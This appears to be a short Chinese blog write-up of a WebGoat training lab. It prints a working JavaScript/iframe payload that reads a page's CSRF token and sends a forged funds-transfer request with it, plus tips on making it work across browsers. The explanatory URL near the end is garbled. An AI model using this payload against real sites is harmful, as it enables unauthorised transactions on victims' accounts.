题目:

最后成功的Message内容:
<script language="javascript" type="text/javascript">
function modify()
{
var FrameDoc=document.getElementById("frame1").contentDocument;
var Form=FrameDoc.getElementsByTagName("form")[1];
var token=Form.CSRFToken.value;
var tokenstr="&CSRFToken="+token;
var testFrame=document.getElementById("frame2");
testFrame.src="http://localhost:8080/webgoat/attack?Screen=610&menu=900&transferFunds=4000"+tokenstr;
}
</script>
<iframe id="frame1" frameborder="1" marginwidth="0" marginheight="0" src="http://localhost:8080/webgoat/attack?
Screen=610&menu=900&transferFunds=main" onload="modify();" height="500" width="800" scrolling="yes" ></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" height="500" width="800" scrolling="yes" ></iframe>
需要注意的几点:
1、FrameDoc.getElementsByTagName("form")[1],要注意CSRFToken所在的form标签的索引值,只有在上一个form标签闭合了之后,下一个form的索引才加1。
2、注意iframe标签的闭合方式,文中的这种方式在FF和IE下都可以成功,但是如果换成“/>”的闭合方式,在FF下是不能攻击成功的,具体的原因另一篇有提到。
最后产生的效果:
当前页面请求: http://localhost:8080/webgoat/attack,并通过JS脚本偷得CSRFToken的值,形成第二个iFrame的src:http://localhost:8080/webgoat/attackScreen=610&menu=900&transferFunds=4000&CSRFToken=XXXX?Screen=610&menu=900&transferFunds=main
并发出请求,从而绕过认证,成功执行。
本文介绍了一种利用跨站请求伪造(CSRF)漏洞进行攻击的方法,通过修改iframe源和使用JavaScript脚本来窃取CSRF Token,最终实现绕过认证执行非法操作。

被折叠的 条评论
为什么被折叠?



